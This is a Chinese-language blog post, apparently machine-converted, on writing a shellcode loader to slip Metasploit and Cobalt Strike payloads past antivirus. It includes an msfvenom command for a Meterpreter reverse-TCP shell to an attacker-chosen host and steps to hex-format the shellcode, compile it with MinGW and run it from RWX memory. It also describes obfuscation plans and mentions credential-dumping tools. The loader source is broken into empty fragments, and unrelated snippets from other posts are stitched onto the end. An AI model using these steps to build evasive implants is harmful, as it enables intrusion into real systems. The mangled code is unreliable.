通用Shellcode載入器

2022-08-31 22:12:16 字數 3305 閱讀 2097

shellcode載入器是一種基本的規避技術。儘管shellcode載入器通常可以促進payload的初始執行,但是啟發式檢測方法仍可以標記payload的其他方面和行為。例如,很多安全產品可能會在記憶體中時對其進行檢測,或者將特定的網路流量檢測為惡意。我們將研究一些適合與載入器結合使用的後期開發框架,並研究如何嵌入其他型別的二進位制檔案(例如.net和已編譯的pe二進位制檔案)。

部落格系列的第一部分將介紹使用shellcode進行後期開發payload的基本要領。在第二部分中,我們將為載入器實現其他功能,並檢視某些功能的一些優點和缺點。因為我們使用shellcode來避免基於簽名的檢測,所以重要的是限制安全解決方案建立啟動程式簽名的可能性。二進位制混淆是避免基於簽名的檢測的一種潛在解決方案,我們將編寫乙個python指令碼來自動化載入器的生成和混淆。

shellcode簡介

在攻擊中我們需要在目標上執行某些shellcode。諸如metasploit和cobalt strike之類的後期開發框架都有自己的shellcode,但是這些框架中的payload由於被廣泛使用而具有很高的檢測率。但是,它們提供了一些功能,可以讓我們自由發揮。此外,使用易於檢測的shellcode將有助於我們確定載入器的迴避功能在開發過程中是否正常執行。

metasploit和cobalt strike提供both staged和stageless payload。使用both staged的payload時,shellcode會更小,從而導致啟動程式二進位制檔案更小。然而,與stageless payload相比,both staged的payload被發現的可能更大。這可能是因為來自服務端的網路流量被標記為惡意,或者是因為檢測到了攻擊者用來執行最終payload的方法。在這片部落格中,我們將使用stageless payload進行規避,因為我們不關心在將payload載入到記憶體之前的檢測。有關both staged與stageless payload的更多資訊,請檢視深入了解無負載計量表的負載 oj reeves的部落格文章。

上圖演示了如何使用msfvenom生成原始shellcode。我們指定payload連線的ip和埠,並將輸出儲存到檔案中。處理大檔案時,該head命令只能用於列印第乙個字元。在這裡,我們使用該-c引數僅輸出前100個字元,然後我們可以將其通過管道傳遞xxd以獲得shellcode的十六進製制轉儲。

msfvenom –p windows/meterpreter_reverse_tcp lhost=ip lport=port > stageless_meterpreter.raw

head –c 100 stageless_meterpreter.raw | xxd

thewover 的donut專案可用於建立與位置無關的shellcode,該shellcode可以載入.net,pe和dll檔案。該工具將允許我們通過支援其他payload型別來擴充套件載入器的可用性。使用donut,我們可以輕鬆地為mimikatz,safetykatz和seatbelt等工具生成shellcode。

剖析shellcode載入器

shellcode載入器是用c編寫的,我們將使用python自動插入shellcode並編譯二進位制檔案。要在linux上編譯windows可執行檔案,我們將使用mingw編譯器。

#include

#include

using namespace std;

int main()

在這裡,我們可以看到標準shellcode載入器的源**。在本部落格系列中,我們將為該載入器新增功能。包括四個主要部分。首先,shellcode被定義為char變數,但是當前源**具有乙個佔位符字串,該字串將在以後自動對其進行修改。然後,我們使用virtualalloc為shellcode分配記憶體。重要的是要注意,此記憶體頁當前具有讀取,寫入和執行許可權。之後,使用memcpy將shellcode移到新分配的記憶體頁面中。最後,執行shellcode。

我們可以使用msfvenom,cobalt strike和donut生成的shellcode由原始位元組組成。因為我們希望將payload嵌入到原始檔中;我們必須將shellcode格式化為十六進製制表示形式。可以使用手動解決方案hexdump,但是稍後我們將在python中自動執行此步驟。

該hexdump命令將讀取原始的shellcode檔案並返回十六進製制格式,可以將其嵌入源**中。在上圖中,我們將輸出儲存到檔案中,然後使用該head命令來說明所返回的十六進製制格式hexdump。

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format

head –c 100 hex_format

如果#replace_me#使用十六進製制格式的shellcode 替換原始檔中的字串,則可以使用mingw對其進行編譯。

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

自動化儘管我們可以格式化shellcode並將其手動插入到原始檔中,但是我們將編寫乙個簡短的python指令碼來自動執行此過程。python指令碼將需要三個檔案操作。它必須讀取原始shellcode檔案,讀取原始檔,然後將格式化的源**寫入檔案,然後可以將其編譯為最終二進位制檔案。

使用x32dbg分析載入器

如果我們在偵錯程式中執行可執行檔案,我們可以檢查如何執行shellcode。

在上圖中,我們可以看到將shellcode複製到分配的記憶體頁後會發生什麼virtualalloc。之後memcpy被呼叫時,shellcode的位址從堆疊到移動eax暫存器。

如果我們現在看一下中的值eax;我們可以找到shellcode所在的位址。

一旦我們有了位址;我們可以使用x32dbg中的「記憶體對映」標籤找到記憶體頁面。如上圖所示,包含shellcode的記憶體頁面當前具有讀取,寫入和執行許可權。要注意的另一件事是,我們可以在中看到乙個具有與payload相同大小的附加記憶體頁面.rdata。由於shellcode是未加密地嵌入二進位制檔案中的,因此防禦者將能夠在不執行啟動程式二進位制檔案的情況下檢測到惡意負載。

使用x32dbg,藍色團隊可以檢視記憶體頁面中的內容並將其匯出到檔案中,以便以後進行進一步分析。對藍色團隊成員有用的注釋是,即使payload在嵌入發射器二進位制檔案之前已被加密;通過在偵錯程式中逐步執行,仍可以轉儲未加密的payload。

如果我們繼續逐步執行,我們可以看到call eax執行後,指令指標跳到了shellcode。現在,當我們正常繼續執行時,我們會在cobalt strike中收到客戶端連線。

結論msfvenom,cobalt strike和donut使我們能夠輕鬆支援各種不同的payload。但是,在使這些payload繞過端點安全解決方案之前,必須實現其他功能。雖然當前的載入器是基本的,但它是乙個很好的基礎,以後可以擴充套件。我們學習了如何格式化原始shellcode,以及如何將源**編譯為可執行二進位制檔案。另外,我們建立了乙個python指令碼,該指令碼可以自動完成該過程。

使用C編譯器編寫shellcode

準備工作 為了確保能生成可用作shellcode這樣特定格式的 我們需要對visual studio做些特殊的配置。下面的各項配置,可能隨編譯器的變更而變更 1 使用release模式。近來編譯器的debug模式可能產生逆序的函式,並且會插入許多與位置相關的呼叫。2 禁用優化。編譯器會預設優化那些沒...

通用裝飾器

通用裝飾器 可以裝飾任意引數的函式 無引數也可以 重點 1.閉包中內部函式的引數型別 2.內部函式的返回值上 需求 給函式func1增加日誌功能 不能修改原始碼 import time def funcout func def funcinfo args,kwargs log func return...

類載入器載入順序

先上 public class parent static public parent public static void staticmethod1 public static void staticmethod2 測試類 public static void main string args ...